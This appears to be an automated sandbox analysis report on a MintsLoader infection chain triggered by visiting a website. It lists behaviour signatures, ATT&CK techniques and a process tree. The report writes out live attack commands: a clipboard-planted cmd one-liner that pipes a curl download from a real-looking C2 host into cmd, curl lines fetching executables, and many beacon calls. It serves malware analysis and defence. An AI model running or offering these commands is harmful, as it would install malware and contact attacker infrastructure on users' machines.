mintsloader | hxxp://dallasfertilitycenter[.]com

Analysis

user interaction
yes
max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/10/2026, 14:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://dallasfertilitycenter.com
Sample261002-sc615sce97

Score

10^/10

discovery execution mintsloader loader suricata

Malware Config

Signatures

Family: MintsLoader
MintsLoader is a multi-stage malware loader.
loader mintsloader

Suricata alert: MintsLoader Outbound C2 Communication 1 IoCs

Network activity triggered a Suricata alert

suricata mintsloader

flow	pid	Process
183	4644	powershell.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
183	4644	powershell.exe
193	1400	powershell.exe

Downloads MZ/PE file 3 IoCs

flow	pid	Process
117	2328	curl.exe
193	1400	powershell.exe
112	3448	curl.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 4 IoCs

pid	Process
2204	TRegSvr.exe
904	TRegSvr.exe
1508	TRegSvr.exe
4552	update.exe

Loads dropped DLL 3 IoCs

pid	Process
2204	TRegSvr.exe
904	TRegSvr.exe
1508	TRegSvr.exe

Suspicious clipboard content. 2 IoCs

A suspicious script was copied to clipboard.

ioc	Process
cmd /c "(cd/d%USERPROFILE%&curl.exe --ssl-no-revoke -sf https://nodecert5578.com/b/nlRt9e2q\|cmd /q) 2>nul"	chrome.exe
cmd /c "(cd/d%USERPROFILE%&curl.exe --ssl-no-revoke -sf https://nodecert5578.com/b/nlRt9e2q\|cmd /q) 2>nul"	chrome.exe

Enumerates connected drives 3 TTPs 3 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5168	cmd.exe
1548	cmd.exe
1724	cmd.exe
2812	cmd.exe
5536	cmd.exe
3664	cmd.exe
2596	cmd.exe
5256	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	TRegSvr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	TRegSvr.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1284	PING.EXE
4224	PING.EXE
5000	PING.EXE
6124	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5588	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
5000	PING.EXE
6124	PING.EXE
1284	PING.EXE
4224	PING.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
5680	chrome.exe
5680	chrome.exe
1508	TRegSvr.exe
1508	TRegSvr.exe
4644	powershell.exe
4644	powershell.exe
5732	powershell.exe
5732	powershell.exe
4644	powershell.exe
5732	powershell.exe
1400	powershell.exe
1400	powershell.exe
1400	powershell.exe
5680	chrome.exe
5680	chrome.exe
1324	chrome.exe
1324	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe
Token: SeShutdownPrivilege	5680	chrome.exe
Token: SeCreatePagefilePrivilege	5680	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe
5680	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5680 wrote to memory of 4636	5680	chrome.exe	84
PID 5680 wrote to memory of 5588	5680	chrome.exe	85
PID 5680 wrote to memory of 2640	5680	chrome.exe	86
PID 5680 wrote to memory of 2640	5680	chrome.exe	86
PID 5680 wrote to memory of 4160	5680	chrome.exe	87
PID 5680 wrote to memory of 4160	5680	chrome.exe	87
PID 5680 wrote to memory of 4184	5680	chrome.exe	88
PID 5680 wrote to memory of 4184	5680	chrome.exe	88
PID 5680 wrote to memory of 3652	5680	chrome.exe	89
PID 5680 wrote to memory of 3652	5680	chrome.exe	89
PID 5680 wrote to memory of 5528	5680	chrome.exe	91
PID 5680 wrote to memory of 5528	5680	chrome.exe	91
PID 5680 wrote to memory of 4172	5680	chrome.exe	92
PID 5680 wrote to memory of 4172	5680	chrome.exe	92
PID 5680 wrote to memory of 1208	5680	chrome.exe	93
PID 5680 wrote to memory of 1208	5680	chrome.exe	93
PID 5680 wrote to memory of 800	5680	chrome.exe	96
PID 5680 wrote to memory of 800	5680	chrome.exe	96
PID 5680 wrote to memory of 368	5680	chrome.exe	104
PID 5256 wrote to memory of 3120	5256	cmd.exe	116
PID 5256 wrote to memory of 3328	5256	cmd.exe	117
PID 3328 wrote to memory of 5616	3328	cmd.exe	119
PID 5616 wrote to memory of 5168	5616	wscript.exe	120
PID 5168 wrote to memory of 1280	5168	cmd.exe	122
PID 5168 wrote to memory of 3448	5168	cmd.exe	123
PID 5168 wrote to memory of 5000	5168	cmd.exe	124
PID 5168 wrote to memory of 6124	5168	cmd.exe	127
PID 5680 wrote to memory of 4404	5680	chrome.exe	129
PID 5680 wrote to memory of 6036	5680	chrome.exe	130
PID 5680 wrote to memory of 4308	5680	chrome.exe	131
PID 5168 wrote to memory of 2328	5168	cmd.exe	132
PID 5168 wrote to memory of 1284	5168	cmd.exe	133
PID 5168 wrote to memory of 4224	5168	cmd.exe	135
PID 5168 wrote to memory of 1248	5168	cmd.exe	136
PID 1248 wrote to memory of 2204	1248	wscript.exe	137
PID 5168 wrote to memory of 2056	5168	cmd.exe	139
PID 2204 wrote to memory of 904	2204	TRegSvr.exe	140
PID 904 wrote to memory of 4560	904	TRegSvr.exe	143
PID 5168 wrote to memory of 4368	5168	cmd.exe	145
PID 904 wrote to memory of 5116	904	TRegSvr.exe	148
PID 904 wrote to memory of 2092	904	TRegSvr.exe	151
PID 904 wrote to memory of 1508	904	TRegSvr.exe	154
PID 904 wrote to memory of 4620	904	TRegSvr.exe	155
PID 1508 wrote to memory of 2812	1508	TRegSvr.exe	158
PID 1508 wrote to memory of 4788	1508	TRegSvr.exe	161
PID 1508 wrote to memory of 4652	1508	TRegSvr.exe	164
PID 1508 wrote to memory of 1804	1508	TRegSvr.exe	167
PID 1508 wrote to memory of 1772	1508	TRegSvr.exe	170
PID 1508 wrote to memory of 4828	1508	TRegSvr.exe	173
PID 1508 wrote to memory of 4736	1508	TRegSvr.exe	176
PID 1508 wrote to memory of 3476	1508	TRegSvr.exe	179
PID 1508 wrote to memory of 2716	1508	TRegSvr.exe	182
PID 1508 wrote to memory of 1956	1508	TRegSvr.exe	185
PID 1508 wrote to memory of 5008	1508	TRegSvr.exe	188
PID 1508 wrote to memory of 4928	1508	TRegSvr.exe	191
PID 1508 wrote to memory of 4764	1508	TRegSvr.exe	194
PID 1508 wrote to memory of 4536	1508	TRegSvr.exe	198
PID 1508 wrote to memory of 5816	1508	TRegSvr.exe	200
PID 1508 wrote to memory of 5568	1508	TRegSvr.exe	202
PID 1508 wrote to memory of 3068	1508	TRegSvr.exe	204
PID 1508 wrote to memory of 820	1508	TRegSvr.exe	207
PID 1508 wrote to memory of 2432	1508	TRegSvr.exe	210
PID 1508 wrote to memory of 5288	1508	TRegSvr.exe	213
PID 1508 wrote to memory of 216	1508	TRegSvr.exe	216

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://dallasfertilitycenter.com
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcb303c728,0x7ffcb303c734,0x7ffcb303c740
  2⤵
  PID:4636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,640322201853888636,5753927306613608408,524288 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2112 /prefetch:3
  2⤵
  - System Time Discovery
  PID:5588
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1684,i,15787771650140883371,153683101197174767,262144 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2064 /prefetch:2
  2⤵
  PID:2640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,885527087138962494,6791022579555198867,524288 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2560 /prefetch:8
  2⤵
  PID:4160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3036,i,14509625043219960581,13141229851801595993,2097152 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2964 /prefetch:1
  2⤵
  PID:4184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3048,i,16791517474711268520,8699701932669500185,2097152 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3144 /prefetch:1
  2⤵
  PID:3652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4296,i,2753903355480111837,390263640062244559,2097152 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4304 /prefetch:2
  2⤵
  PID:5528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4708,i,15642398342854283225,3029787784053647672,2097152 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4724 /prefetch:1
  2⤵
  PID:4172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4932,i,4117507799291847369,4697838824998808351,524288 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4920 /prefetch:8
  2⤵
  PID:1208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3216,i,2072732911777358321,10593196556879782107,2097152 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3660 /prefetch:1
  2⤵
  PID:800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5948,i,5324553386439102660,11852819724267791341,524288 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5952 /prefetch:8
  2⤵
  PID:368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5880,i,9532464126746614655,6644378761718940338,524288 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=208 /prefetch:8
  2⤵
  PID:4404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5996,i,13969687921007430400,12007301242556120034,524288 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6056 /prefetch:8
  2⤵
  PID:6036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5888,i,3952137166693762903,10472552094289134907,524288 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6176 /prefetch:8
  2⤵
  PID:4308
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5892,i,3783767723591684424,8884181216711473756,262144 --field-trial-handle=2068,i,13299035772840567284,133535842088846070,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5808 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1324

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3324

C:\Windows\system32\cmd.exe
cmd /c "(cd/dC:\Users\Admin&curl.exe --ssl-no-revoke -sf https://nodecert5578.com/b/nlRt9e2q|cmd /q) 2>nul"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5256
- C:\Windows\system32\curl.exe
  curl.exe --ssl-no-revoke -sf https://nodecert5578.com/b/nlRt9e2q
  2⤵
  PID:3120
- C:\Windows\system32\cmd.exe
  cmd /q
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\system32\wscript.exe
    wscript //nologo //b //e:vbscript hv
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5616
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c r.cmd
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5168
    - - C:\Windows\system32\curl.exe
        
        curl.exe --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=a0"
        5⤵
        
        PID:1280
    - - C:\Windows\system32\curl.exe
        
        curl.exe --ssl-no-revoke -m 45 -sf "https://nodecert5578.com/ue/x/nlRt9e2q" -o TRegSvr.exe.p
        5⤵
        Downloads MZ/PE file
        
        PID:3448
    - - C:\Windows\system32\PING.EXE
        
        ping -n 2 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5000
    - - C:\Windows\system32\PING.EXE
        
        ping -n 2 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6124
    - - C:\Windows\system32\curl.exe
        
        curl.exe --ssl-no-revoke -m 45 -sf "https://nodecert5578.com/ue/b/nlRt9e2q" -o vclimg370.bpl.p
        5⤵
        Downloads MZ/PE file
        
        PID:2328
    - - C:\Windows\system32\PING.EXE
        
        ping -n 2 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1284
    - - C:\Windows\system32\PING.EXE
        
        ping -n 2 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4224
    - - C:\Windows\system32\wscript.exe
        
        wscript //nologo //b //e:vbscript gv
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1248
      - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TRegSvr.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TRegSvr.exe" -q vclimg370.bpl
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2204
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TRegSvr.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TRegSvr.exe" -q "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\vclimg370.bpl"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:904
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=go_0"
        8⤵
        
        PID:4560
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=dir.ok"
        8⤵
        
        PID:5116
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=wd"
        8⤵
        
        PID:2092
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TRegSvr.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TRegSvr.exe" -q "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\vclimg370.bpl"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Reads the TCP/IP host and domain name from the registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1508
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=go_0"
        9⤵
        
        PID:2812
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=dir.ok"
        9⤵
        
        PID:4788
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=wd.child"
        9⤵
        
        PID:4652
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=boot"
        9⤵
        
        PID:1804
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=self_0x00007ffcb31a0000"
        9⤵
        
        PID:1772
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=apis_0"
        9⤵
        
        PID:4828
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=boot_ok"
        9⤵
        
        PID:4736
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=agent"
        9⤵
        
        PID:3476
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" --ssl-no-revoke -s -m 4 -o nul "https://nodecert5578.com/b/nlRt9e2q?z=emb.n_857088"
        9⤵
        
        PID:2716
        
        C:\Windows\System32\curl.exe
        
